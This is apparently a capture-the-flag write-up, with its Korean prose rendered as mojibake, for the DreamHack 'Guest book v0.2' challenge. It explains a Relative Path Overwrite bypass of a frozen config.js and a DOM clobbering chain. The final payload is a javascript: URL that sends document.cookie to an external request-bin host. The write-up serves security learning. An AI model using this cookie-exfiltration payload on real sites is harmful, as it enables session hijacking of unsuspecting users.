DreamHack - Guest book v0.2 ํ์ด
๋จผ์ ํ์ด์ง ํ๋จ์ ์์ฑ๋ ํ๊ทธ๋ค์ ์ฐพ๊ฒ ๋๋ฉด ๋ฌธ์ ํธ๋ ์๋๊ฐ ๋นจ๋์ ๊ฒ์ด๋ค.
<script src="config.js"></script>
<script>
if(window.CONFIG && window.CONFIG.debug){
location.href = window.CONFIG.main;
}
</script>
config.js์ ๋ด์ฉ์ ์๋์ ๊ฐ๋ค.
window.CONFIG = {
version: "v0.2",
main: "/",
debug: false,
debugMSG: ""
}
// prevent overwrite
Object.freeze(window.CONFIG);
์๋์ Object.freeze ๋ฉ์๋์ผ๋ก ์ธํด window.CONFIG๊ฐ overwriting์ด ์๋๋ ์ํฉ์ด๋ฉฐ if ์กฐ๊ฑด์ด false๋ก ๋์ค๋ฉด์ ์๋์ "localtion.href = window.CONFIG.main" ๋ผ์ธ์ ์คํํ์ง ๋ชปํ๋ค.
config.js ์ฐํ ๋ฐฉ๋ฒ
<script src="config.js"></script> ์ชฝ์ ๋ฌธ์ ์ ์ด ํ๋ ์์๋ค. ๋ฐ๋ก .js ์์์(config.js) ์๋ ๊ฒฝ๋ก ํํ๋ก ์ฝ์ด์จ๋ค๋ ๊ฒ์ด๋ค.
์๋ฅผ ๋ค๋ฉด ํ์ด์ง URL์ "127.0.0.1/example"์ผ๋ก ์ ์ํด์ config.js ์์์ ์์ฒญ์ ํ๋ฉด "127.0.0.1/config.js"์ ์์นํ ํ์ผ์ ๊ฐ์ ธ์ค์ง๋ง
์ฃผ์๊ฐ "127.0.0.1/example/"์ ์ ์๋ ์ํ์์ config.js ์์์ ์์ฒญํ๋ฉด ์ด๋ฒ์ "127.0.0.1/example/config.js"์ ์์นํ ํ์ผ์ ์์ฒญํ๋ค. (/example ๋ค์ /๋ฅผ ๋ ๋ถ์ธ ๊ฒฝ์ฐ)
์ด๊ฒ src ๊ฐ์ผ๋ก ์๋ ๊ฒฝ๋ก๋ฅผ ์ฐ์๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํ ์ผ์ด๋ฉฐ ์ด๋ฌํ ์ทจ์ฝ์ ์ RPO(Relative Path Overwrite)์ด๋ผ๊ณ ํ๋ค.
๋ฌธ์ ์์ config.js ํ์ผ์ ์ฐํํ๊ธฐ ์ํด์๋ "/GuestBook.php/?content=" ์ฃผ์ ํํ๋ก ํ์ด์ง์ ์ ์ ํด์ผ ํ๋ค.
Dom Clobbering
์ด์ ๋ location.href = window.CONFIG.main;๋ฅผ ์ด์ฉํด ๋ธ๋ผ์ฐ์ ๊ฐ javascript๋ฅผ ๋ฐ์์ํค๋๋ก ํด์ผ ํ๋๋ฐ ์ด๋ด ๋๋ Dom Clobbering ๊ธฐ๋ฒ์ ์ฌ์ฉํ๋ฉด ๋๋ค.
<a id='CONFIG'> --> window.CONFIG;
<b id='CONFIG' name='debug'> --> window.CONFIG.debug;
<c id='config' name='main'> --> window.CONFIG.main;
[dreamhack](' id='CONFIG' ')
[dreamhack](' id='CONFIG' name='debug' ')
[dreamhack](javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`' id='CONFIG' name='main' ')
"localtion.href = window.CONFIG.main" ๋ผ์ธ์ ์คํํ๊ฒ ๋๋ฉด
javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`๊ฐ ์คํ ๋๋ฉด์ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ฟ ํค ๊ฐ์ด ์์ฒญํ๊ฒ ๋๋ค.
์ ๋ต ์ฝ๋
/GuestBook.php/?content=%5Bdreamhack%5D('%20id='CONFIG'%20')%0D%0A%5Bdreamhack%5D('%20id='CONFIG'%20name='debug'%20')%0D%0A%5Bdreamhack%5D(javascript:location.href=%60https://xhhoeby.request.dreamhack.games?cookie=$%7Bdocument.cookie%7D%60'%20id='CONFIG'%20name='main'%20')
Reference